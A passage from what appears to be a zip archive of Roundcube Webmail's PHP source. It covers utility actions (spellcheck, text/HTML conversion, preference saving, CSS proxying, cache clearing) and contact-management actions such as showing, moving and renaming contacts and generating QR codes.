        $method = rcube_utils::get_input_string('method', rcube_utils::INPUT_POST);
        $lang   = rcube_utils::get_input_string('lang', rcube_utils::INPUT_POST);
        $result = [];

        $spellchecker = new rcube_spellchecker($lang);

        if ($method == 'addToDictionary') {
            $data = rcube_utils::get_input_string('word', rcube_utils::INPUT_POST);

            $spellchecker->add_word($data);
            $result['result'] = true;
        }
        else {
            $data = rcube_utils::get_input_string('text', rcube_utils::INPUT_POST, true);
            $data = html_entity_decode($data, ENT_QUOTES, RCUBE_CHARSET);

            if ($data && !$spellchecker->check($data)) {
                $result['words']      = $spellchecker->get();
                $result['dictionary'] = (bool) $rcmail->config->get('spellcheck_dictionary');
            }
        }

        header("Content-Type: application/json; charset=" . RCUBE_CHARSET);

        if ($error = $spellchecker->error()) {
            rcube::raise_error([
                    'code'    => 500,
                    'file'    => __FILE__,
                    'line'    => __LINE__,
                    'message' => "Spellcheck error: " . $error
                ],
                true,
                false
            );

            echo json_encode(['error' => $rcmail->gettext('internalerror')]);
            exit;
        }

        // send output
        echo json_encode($result);
        exit;
    }
}
PK
h�\��J�cc#program/actions/utils/text2html.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Convert plain text to HTML                                          |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_utils_text2html extends rcmail_action
{
    public static $source = 'php://input';

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $text = file_get_contents(self::$source);

        $converter = new rcube_text2html($text, false, ['wrap' => true]);

        $rcmail = rcmail::get_instance();

        $html = $converter->get_html();

        $rcmail->output->sendExit($html, ['Content-Type: text/html; charset=' . RCUBE_CHARSET]);
    }
}
PK
h�\����#program/actions/utils/html2text.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Convert HTML message to plain text                                  |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_utils_html2text extends rcmail_action
{
    public static $source = 'php://input';

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $html = file_get_contents(self::$source);

        $params['links'] = (bool) rcube_utils::get_input_value('_do_links', rcube_utils::INPUT_GET);
        $params['width'] = (int) rcube_utils::get_input_value('_width', rcube_utils::INPUT_GET);

        $rcmail = rcmail::get_instance();
        $text   = $rcmail->html2text($html, $params);

        $rcmail->output->sendExit($text, ['Content-Type: text/plain; charset=' . RCUBE_CHARSET]);
    }
}
PK
h�\���e"
"
#program/actions/utils/save_pref.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Save preferences setting in database                                |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_utils_save_pref extends rcmail_action
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail   = rcmail::get_instance();
        $name     = rcube_utils::get_input_string('_name', rcube_utils::INPUT_POST);
        $value    = rcube_utils::get_input_value('_value', rcube_utils::INPUT_POST);
        $sessname = rcube_utils::get_input_string('_session', rcube_utils::INPUT_POST);

        // Whitelisted preferences and session variables, others
        // can be added by plugins
        $whitelist = [
            'list_cols',
            'collapsed_folders',
            'collapsed_abooks',
        ];

        $whitelist_sess = [
            'list_attrib/columns',
        ];

        $whitelist      = array_merge($whitelist, $rcmail->plugins->allowed_prefs);
        $whitelist_sess = array_merge($whitelist_sess, $rcmail->plugins->allowed_session_prefs);

        if (!in_array($name, $whitelist) || ($sessname && !in_array($sessname, $whitelist_sess))) {
            rcube::raise_error([
                    'code' => 500,
                    'file' => __FILE__,
                    'line' => __LINE__,
                    'message' => sprintf("Hack attempt detected (user: %s)", $rcmail->get_user_name())
                ],
                true,
                false
            );

            $rcmail->output->reset();
            $rcmail->output->send();
        }

        // save preference value
        $rcmail->user->save_prefs([$name => $value]);

        // update also session if requested
        if ($sessname) {
            // Support multidimensional arrays...
            $vars = explode('/', $sessname);

            // ... up to 3 levels
            if (count($vars) == 1) {
                $_SESSION[$vars[0]] = $value;
            }
            else if (count($vars) == 2) {
                $_SESSION[$vars[0]][$vars[1]] = $value;
            }
            else if (count($vars) == 3) {
                $_SESSION[$vars[0]][$vars[1]][$vars[2]] = $value;
            }
        }

        $rcmail->output->reset();
        $rcmail->output->send();
    }
}
PK
h�\M�@@ program/actions/utils/modcss.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Modify CSS source from a URL                                        |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_utils_modcss extends rcmail_action
{
    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        $url = rcube_utils::get_input_string('_u', rcube_utils::INPUT_GET);
        $url = preg_replace('![^a-z0-9.-]!i', '', $url);

        if ($url === null || empty($_SESSION['modcssurls'][$url])) {
            $rcmail->output->sendExitError(403, "Unauthorized request");
        }

        $realurl = $_SESSION['modcssurls'][$url];

        // don't allow any other connections than http(s)
        if (!preg_match('~^https?://~i', $realurl, $matches)) {
            $rcmail->output->sendExitError(403, "Invalid URL");
        }

        $source = false;
        $ctype  = null;

        try {
            $client   = rcube::get_instance()->get_http_client();
            $response = $client->get($realurl);

            if (!empty($response)) {
                $ctype  = $response->getHeader('Content-Type');
                $ctype  = !empty($ctype) ? $ctype[0] : '';
                $source = $response->getBody();
            }
        }
        catch (Exception $e) {
            rcube::raise_error($e, true, false);
        }

        $cid    = rcube_utils::get_input_string('_c', rcube_utils::INPUT_GET);
        $prefix = rcube_utils::get_input_string('_p', rcube_utils::INPUT_GET);

        $container_id = preg_replace('/[^a-z0-9]/i', '', $cid);
        $css_prefix   = preg_replace('/[^a-z0-9]/i', '', $prefix);
        $ctype_regexp = '~^text/(css|plain)~i';

        if ($source !== false && $ctype && preg_match($ctype_regexp, $ctype)) {
            $rcmail->output->sendExit(
                rcube_utils::mod_css_styles($source, $container_id, false, $css_prefix),
                ['Content-Type: text/css']
            );
        }

        $rcmail->output->sendExitError(404, "Invalid response returned by server");
    }
}
PK
h�\4�P8



#program/actions/utils/killcache.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Delete rows from cache tables                                       |
 +-----------------------------------------------------------------------+
 | Author: Dennis P. Nikolaenko <dennis@nikolaenko.ru>                   |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_utils_killcache extends rcmail_action
{
    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        // don't allow public access if not in devel_mode
        if (!$rcmail->config->get('devel_mode')) {
            header("HTTP/1.0 401 Access denied");
            die("Access denied!");
        }

        // @TODO: transaction here (if supported by DB) would be a good thing
        $res = $rcmail->db->query("DELETE FROM " . $rcmail->db->table_name('cache', true));
        if ($err = $rcmail->db->is_error($res)) {
            exit($err);
        }

        $res = $rcmail->db->query("DELETE FROM " . $rcmail->db->table_name('cache_shared', true));
        if ($err = $rcmail->db->is_error($res)) {
            exit($err);
        }

        $res = $rcmail->db->query("DELETE FROM " . $rcmail->db->table_name('cache_messages', true));
        if ($err = $rcmail->db->is_error($res)) {
            exit($err);
        }

        $res = $rcmail->db->query("DELETE FROM " . $rcmail->db->table_name('cache_index', true));
        if ($err = $rcmail->db->is_error($res)) {
            exit($err);
        }

        $res = $rcmail->db->query("DELETE FROM " . $rcmail->db->table_name('cache_thread', true));
        if ($err = $rcmail->db->is_error($res)) {
            exit($err);
        }

        echo "Cache cleared\n";
        exit;
    }
}
PK
h�\MX���program/actions/utils/spell.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Invoke the configured or default spell checking engine.             |
 +-----------------------------------------------------------------------+
 | Author: Kris Steinhoff <steinhof@umich.edu>                           |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_utils_spell extends rcmail_action
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        // read input
        $lang = rcube_utils::get_input_string('lang', rcube_utils::INPUT_GET);
        $data = file_get_contents('php://input');

        $learn_word = strpos($data, '<learnword>');

        // Get data string
        $left  = strpos($data, '<text>');
        $right = strrpos($data, '</text>');
        $data  = substr($data, $left+6, $right-($left+6));
        $data  = html_entity_decode($data, ENT_QUOTES, RCUBE_CHARSET);

        $spellchecker = new rcube_spellchecker($lang);

        if ($learn_word) {
            $spellchecker->add_word($data);
            $result = '<?xml version="1.0" encoding="'.RCUBE_CHARSET.'"?><learnwordresult></learnwordresult>';
        }
        else if (empty($data)) {
            $result = '<?xml version="1.0" encoding="'.RCUBE_CHARSET.'"?><spellresult charschecked="0"></spellresult>';
        }
        else {
            $spellchecker->check($data);
            $result = $spellchecker->get_xml();
        }

        if ($error = $spellchecker->error()) {
            rcube::raise_error([
                    'code' => 500,
                    'file' => __FILE__,
                    'line' => __LINE__,
                    'message' => "Spellcheck error: " . $error
                ],
                true,
                false
            );

            header("HTTP/1.0 500 Internal Server Error");
            exit;
        }

        // set response length
        header("Content-Length: " . strlen($result));

        // Don't use server's default Content-Type charset (#1486406)
        header("Content-Type: text/xml; charset=" . RCUBE_CHARSET);
        print $result;
        exit;
    }
}
PK
h�\r6]��#�#!program/actions/contacts/show.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Show contact details                                                |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_show extends rcmail_action_contacts_index
{
    protected static $mode = self::MODE_HTTP;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        // Get contact ID and source ID from request
        $cids   = self::get_cids();
        $source = key($cids);
        $cid    = $cids ? array_first($cids[$source]) : null;

        // Initialize addressbook source
        self::$CONTACTS  = self::contact_source($source, true);
        self::$SOURCE_ID = $source;

        // read contact record (or get the one defined in 'save' action)
        if (!empty($args['contact'])) {
            self::$contact = $args['contact'];
        }
        else if ($cid) {
            self::$contact = self::$CONTACTS->get_record($cid, true);
        }

        if ($cid && self::$contact) {
            $rcmail->output->set_env('readonly', self::$CONTACTS->readonly || !empty(self::$contact['readonly']));
            $rcmail->output->set_env('cid', self::$contact['ID']);

            // remember current search request ID (if in search mode)
            if ($search = rcube_utils::get_input_string('_search', rcube_utils::INPUT_GET)) {
                $rcmail->output->set_env('search_request', $search);
            }
        }

        // get address book name (for display)
        self::set_sourcename(self::$CONTACTS);

        $rcmail->output->add_handlers([
                'contacthead'    => [$this, 'contact_head'],
                'contactdetails' => [$this, 'contact_details'],
                'contactphoto'   => [$this, 'contact_photo'],
        ]);

        $rcmail->output->send('contact');
    }

    public static function contact_head($attrib)
    {
        $rcmail = rcmail::get_instance();

        // check if we have a valid result
        if (!self::$contact) {
            $rcmail->output->show_message('contactnotfound', 'error');
            return false;
        }

        $form = [
            'head' => [  // section 'head' is magic!
                'name' => $rcmail->gettext('contactnameandorg'),
                'content' => [
                    'source'       => ['type' => 'text'],
                    'prefix'       => ['type' => 'text'],
                    'firstname'    => ['type' => 'text'],
                    'middlename'   => ['type' => 'text'],
                    'surname'      => ['type' => 'text'],
                    'suffix'       => ['type' => 'text'],
                    'name'         => ['type' => 'text'],
                    'nickname'     => ['type' => 'text'],
                    'organization' => ['type' => 'text'],
                    'department'   => ['type' => 'text'],
                    'jobtitle'     => ['type' => 'text'],
                ],
            ],
        ];

        unset($attrib['name']);

        return self::contact_form($form, self::$contact, $attrib);
    }

    public static function contact_details($attrib)
    {
        $rcmail = rcmail::get_instance();

        // check if we have a valid result
        if (!self::$contact) {
            return false;
        }

        $i_size       = !empty($attrib['size']) ? $attrib['size'] : 40;
        $short_labels = self::get_bool_attr($attrib, 'short-legend-labels');

        $form = [
            'contact' => [
                'name'    => $rcmail->gettext('properties'),
                'content' => [
                    'email'   => ['size' => $i_size, 'render_func' => 'rcmail_action_contacts_show::render_email_value'],
                    'phone'   => ['size' => $i_size, 'render_func' => 'rcmail_action_contacts_show::render_phone_value'],
                    'address' => [],
                    'website' => ['size' => $i_size, 'render_func' => 'rcmail_action_contacts_show::render_url_value'],
                    'im'      => ['size' => $i_size],
                ],
            ],
            'personal' => [
                'name'    => $rcmail->gettext($short_labels ? 'personal' : 'personalinfo'),
                'content' => [
                    'gender'      => ['size' => $i_size],
                    'maidenname'  => ['size' => $i_size],
                    'birthday'    => ['size' => $i_size],
                    'anniversary' => ['size' => $i_size],
                    'manager'     => ['size' => $i_size],
                    'assistant'   => ['size' => $i_size],
                    'spouse'      => ['size' => $i_size],
                ],
            ],
        ];

        if (isset(rcmail_action_contacts_index::$CONTACT_COLTYPES['notes'])) {
            $form['notes'] = [
                'name'    => $rcmail->gettext('notes'),
                'content' => [
                    'notes' => ['type' => 'textarea', 'label' => false],
                ],
            ];
        }

        if (self::$CONTACTS->groups) {
            $form['groups'] = [
                'name'    => $rcmail->gettext('groups'),
                'content' => self::contact_record_groups(self::$contact['ID']),
            ];
        }

        return self::contact_form($form, self::$contact, $attrib);
    }

    public static function render_email_value($email)
    {
        $rcmail = rcmail::get_instance();

        return html::a([
                'href'    => 'mailto:' . $email,
                'onclick' => sprintf(
                    "return %s.command('compose','%s',this)",
                    rcmail_output::JS_OBJECT_NAME,
                    rcube::JQ($email)
                ),
                'title'   => $rcmail->gettext('composeto'),
                'class'   => 'email',
            ],
            rcube::Q($email)
        );
    }

    public static function render_phone_value($phone)
    {
        $attrs = [
            'href'  => 'tel:' . preg_replace('/[^0-9+,;-]/', '', $phone),
            'class' => 'phone',
        ];

        return html::a($attrs, rcube::Q($phone));
    }

    public static function render_url_value($url)
    {
        $prefix = preg_match('!^(http|ftp)s?://!', $url) ? '' : 'http://';

        return html::a([
                'href'   => $prefix . $url,
                'target' => '_blank',
                'class'  => 'url',
            ],
            rcube::Q($url)
        );
    }

    public static function contact_record_groups($contact_id)
    {
        $groups = self::$CONTACTS->list_groups();

        if (empty($groups)) {
            return '';
        }

        $rcmail   = rcmail::get_instance();
        $source   = rcube_utils::get_input_string('_source', rcube_utils::INPUT_GPC);
        $members  = self::$CONTACTS->get_record_groups($contact_id);
        $table    = new html_table(['tagname' => 'ul', 'cols' => 1, 'class' => 'proplist simplelist']);
        $checkbox = new html_checkbox(['name' => '_gid[]', 'class' => 'groupmember', 'disabled' => self::$CONTACTS->readonly]);

        foreach ($groups as $group) {
            $gid   = $group['ID'];
            $input = $checkbox->show(!empty($members[$gid]) ? $gid : null, ['value' => $gid]);
            $table->add(null, html::label(null, $input . rcube::Q($group['name'])));
        }

        $hiddenfields = new html_hiddenfield(['name' => '_source', 'value' => $source]);
        $hiddenfields->add(['name' => '_cid', 'value' => $contact_id]);

        $form_attrs = [
            'name'    => 'form',
            'method'  => 'post',
            'task'    => $rcmail->task,
            'action'  => 'save',
            'request' => 'save.' . intval($contact_id),
            'noclose' => true,
        ];

        $form_start = $rcmail->output->request_form($form_attrs, $hiddenfields->show());
        $form_end   = '</form>';

        $rcmail->output->add_gui_object('editform', 'form');
        $rcmail->output->add_label('addingmember', 'removingmember');

        return $form_start . html::tag('fieldset', 'contactfieldgroup contactgroups', $table->show()) . $form_end;
    }
}
PK
h�\����#program/actions/contacts/qrcode.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Show contact data as QR code                                        |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_qrcode extends rcmail_action_contacts_index
{
    protected static $mode = self::MODE_HTTP;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        // Get contact ID and source ID from request
        $cids   = self::get_cids();
        $source = key($cids);
        $cid    = $cids ? array_first($cids[$source]) : null;
        $rcmail = rcmail::get_instance();

        // read contact record
        $abook   = self::contact_source($source, true);
        $contact = $abook->get_record($cid, true);

        // generate QR code image
        if ($data = self::contact_qrcode($contact)) {
            $headers = [
                'Content-Type: ' . self::check_support(),
                'Content-Length: ' . strlen($data)
            ];

            $rcmail->output->sendExit($data, $headers);
        }

        $rcmail->output->sendExit('', ['HTTP/1.0 404 Contact not found']);
    }

    /**
     * Generate a QR-code image for a contact
     *
     * @param array $contact Contact record
     *
     * @return string|null Image content, Null on error or missing PHP extensions
     */
    public static function contact_qrcode($contact)
    {
        if (empty($contact)) {
            return null;
        }

        $type = self::check_support();

        if (empty($type)) {
            return null;
        }

        $vcard = new rcube_vcard();

        // QR code input is limited, use only common fields
        $fields = ['name', 'firstname', 'surname', 'middlename', 'nickname',
            'organization', 'phone', 'email', 'jobtitle', 'prefix', 'suffix'];

        foreach ($contact as $field => $value) {
            if (strpos($field, ':') !== false) {
                list($field, $section) = explode(':', $field, 2);
            }
            else {
                $section = null;
            }

            if (in_array($field, $fields)) {
                foreach ((array) $value as $v) {
                    $vcard->set($field, $v, $section);
                }
            }
        }

        $data = $vcard->export();

        if (empty($data)) {
            return null;
        }

        $renderer_style = new BaconQrCode\Renderer\RendererStyle\RendererStyle(300, 1);
        $renderer_image = $type == 'image/png'
            ? new BaconQrCode\Renderer\Image\ImagickImageBackEnd()
            : new BaconQrCode\Renderer\Image\SvgImageBackEnd();

        $renderer = new BaconQrCode\Renderer\ImageRenderer($renderer_style, $renderer_image);
        $writer   = new BaconQrCode\Writer($renderer);

        return $writer->writeString($data, RCUBE_CHARSET);
    }

    /**
     * Check required extensions and classes for QR code generation
     *
     * @return string|null Content-type of the image result
     */
    public static function check_support()
    {
        if (extension_loaded('iconv') && class_exists('BaconQrCode\Renderer\ImageRenderer')) {
            if (extension_loaded('xmlwriter')) {
                return 'image/svg+xml';
            }

            if (extension_loaded('imagick')) {
                return 'image/png';
            }
        }
    }
}
PK
h�\�aI&I&!program/actions/contacts/move.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Move a contact record from one directory to another                 |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_move extends rcmail_action_contacts_index
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $cids         = self::get_cids();
        $target       = rcube_utils::get_input_string('_to', rcube_utils::INPUT_POST);
        $target_group = rcube_utils::get_input_string('_togid', rcube_utils::INPUT_POST);

        $rcmail    = rcmail::get_instance();
        $all       = 0;
        $deleted   = 0;
        $success   = 0;
        $errormsg  = 'moveerror';
        $maxnum    = $rcmail->config->get('max_group_members', 0);
        $page_size = $rcmail->config->get('addressbook_pagesize', $rcmail->config->get('pagesize', 50));
        $page      = !empty($_SESSION['page']) ? $_SESSION['page'] : 1;

        foreach ($cids as $source => $source_cids) {
            // Something wrong, target not specified
            if (!strlen($target)) {
                break;
            }

            // It might happen when moving records from search result
            // Do nothing, go to the next source
            if ((string) $target === (string) $source) {
                continue;
            }

            $CONTACTS = $rcmail->get_address_book($source);
            $TARGET   = $rcmail->get_address_book($target);

            if (!$TARGET || !$TARGET->ready || $TARGET->readonly) {
                break;
            }

            if (!$CONTACTS || !$CONTACTS->ready || ($CONTACTS->readonly && empty($CONTACTS->deletable))) {
                continue;
            }

            $ids = [];

            foreach ($source_cids as $idx => $cid) {
                $record = $CONTACTS->get_record($cid, true);

                // avoid moving groups
                if (isset($record['_type']) && $record['_type'] == 'group') {
                    unset($source_cids[$idx]);
                    continue;
                }

                // Check if contact exists, if so, we'll need it's ID
                // Note: Some addressbooks allows empty email address field
                // @TODO: should we check all email addresses?
                $email = $CONTACTS->get_col_values('email', $record, true);

                if (!empty($email)) {
                    $result = $TARGET->search('email', $email[0], 1, true, true);
                }
                else if (!empty($record['name'])) {
                    $result = $TARGET->search('name', $record['name'], 1, true, true);
                }
                else {
                    $result = new rcube_result_set();
                }

                // insert contact record
                if (!$result->count) {
                    $plugin = $rcmail->plugins->exec_hook('contact_create', [
                            'record' => $record,
                            'source' => $target,
                            'group'  => $target_group
                    ]);

                    if (empty($plugin['abort'])) {
                        if ($insert_id = $TARGET->insert($plugin['record'], false)) {
                            $ids[] = $insert_id;
                            $success++;
                        }
                    }
                    else if (!empty($plugin['result'])) {
                        $ids = array_merge($ids, $plugin['result']);
                        $success++;
                    }
                }
                else {
                    $record   = $result->first();
                    $ids[]    = $record['ID'];
                    $errormsg = empty($email) ? 'contactnameexists' : 'contactexists';
                }
            }

            // remove source contacts
            if ($success && !empty($source_cids)) {
                $all   += count($source_cids);
                $plugin = $rcmail->plugins->exec_hook('contact_delete', [
                        'id'     => $source_cids,
                        'source' => $source
                ]);

                $del_status = !$plugin['abort'] ? $CONTACTS->delete($source_cids) : $plugin['result'];

                if ($del_status) {
                    $deleted += $del_status;
                }
            }

            // assign to group
            if ($target_group && $TARGET->groups && !empty($ids)) {
                $plugin = $rcmail->plugins->exec_hook('group_addmembers', [
                        'group_id' => $target_group,
                        'ids'      => $ids,
                        'source'   => $target
                ]);

                if (empty($plugin['abort'])) {
                    $TARGET->reset();
                    $TARGET->set_group($target_group);

                    if ($maxnum && ($TARGET->count()->count + count($plugin['ids']) > $maxnum)) {
                        $rcmail->output->show_message('maxgroupmembersreached', 'warning', ['max' => $maxnum]);
                        $rcmail->output->send();
                    }

                    if (($cnt = $TARGET->add_to_group($target_group, $plugin['ids'])) && $cnt > $success) {
                        $success = $cnt;
                    }
                }
                else if ($plugin['result']) {
                    $success = $plugin['result'];
                }

                $errormsg = !empty($plugin['message']) ? $plugin['message'] : 'moveerror';
            }
        }

        if (!$deleted || $deleted != $all) {
            $rcmail->output->command('list_contacts');
        }
        else {
            // update saved search after data changed
            if (($records = self::search_update(true)) !== false) {
                // create resultset object
                $count  = count($records);
                $first  = ($page-1) * $page_size;
                $result = new rcube_result_set($count, $first);
                $pages  = ceil((count($records) + $deleted) / $page_size);

                // last page and it's empty, display previous one
                if ($result->count && $result->count <= ($page_size * ($page - 1))) {
                    $rcmail->output->command('list_page', 'prev');
                    $rowcount = $rcmail->gettext('loading');
                }
                // get records from the next page to add to the list
                else if ($pages > 1 && $page < $pages) {
                    // sort the records
                    ksort($records, SORT_LOCALE_STRING);

                    $first += $page_size;
                    // create resultset object
                    $res = new rcube_result_set($count, $first - $deleted);

                    if ($page_size < $count) {
                        $records = array_slice($records, $first - $deleted, $deleted);
                    }

                    $res->records = array_values($records);
                    $records = $res;
                }
                else {
                    unset($records);
                }
            }
            else if (isset($CONTACTS)) {
                // count contacts for this user
                $result = $CONTACTS->count();
                $pages  = ceil(($result->count + $deleted) / $page_size);

                // last page and it's empty, display previous one
                if ($result->count && $result->count <= ($page_size * ($page - 1))) {
                    $rcmail->output->command('list_page', 'prev');
                    $rowcount = $rcmail->gettext('loading');
                }
                // get records from the next page to add to the list
                else if ($pages > 1 && $page < $pages) {
                    $CONTACTS->set_page($page);
                    $records = $CONTACTS->list_records(null, -$deleted);
                }
            }

            if (!isset($rowcount)) {
                $rowcount = isset($result) ? self::get_rowcount_text($result) : 0;
            }

            // update message count display
            $rcmail->output->set_env('pagecount', isset($result) ? ceil($result->count / $page_size) : 0);
            $rcmail->output->command('set_rowcount', $rowcount);

            // add new rows from next page (if any)
            if (!empty($records)) {
                self::js_contacts_list($records);
            }
        }

        if (!$success) {
            $rcmail->output->show_message($errormsg, 'error');
        }
        else {
            $rcmail->output->show_message('movesuccess', 'confirmation', ['nr' => $success]);
        }

        // send response
        $rcmail->output->send();
    }
}
PK
h�\܁���)program/actions/contacts/group_rename.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   A handler for contact groups rename action                          |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_group_rename extends rcmail_action_contacts_index
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail   = rcmail::get_instance();
        $source   = rcube_utils::get_input_string('_source', rcube_utils::INPUT_GPC);
        $contacts = self::contact_source($source);

        if ($contacts->readonly || !$contacts->groups) {
            $rcmail->output->show_message('sourceisreadonly', 'warning');
            $rcmail->output->send();
        }

        if (
            ($gid = rcube_utils::get_input_string('_gid', rcube_utils::INPUT_POST))
            && ($name = trim(rcube_utils::get_input_string('_name', rcube_utils::INPUT_POST, true)))
        ) {
            $newgid = null;
            $plugin = $rcmail->plugins->exec_hook('group_rename', [
                    'group_id' => $gid,
                    'name'     => $name,
                    'source'   => $source,
            ]);

            if (empty($plugin['abort'])) {
                $newname = $contacts->rename_group($gid, $plugin['name'], $newgid);
            }
            else {
                $newname = $plugin['result'];
            }
        }

        if (!empty($newname)) {
            $rcmail->output->show_message('grouprenamed', 'confirmation');
            $rcmail->output->command('update_contact_group', [
                    'source' => $source,
                    'id'     => $gid,
                    'name'   => $newname,
                    'newid'  => $newgid ?? null
            ]);
        }
        else {
            $error = !empty($plugin['message']) ? $plugin['message'] : 'errorsaving';
            $rcmail->output->show_message($error, 'error');
        }

        // send response
        $rcmail->output->send();
    }
}
PK
h�\��Fh*program/actions/contacts/search_create.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Create saved search                                                 |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <machniak@kolabsys.com>                   |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_search_create extends rcmail_action
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();
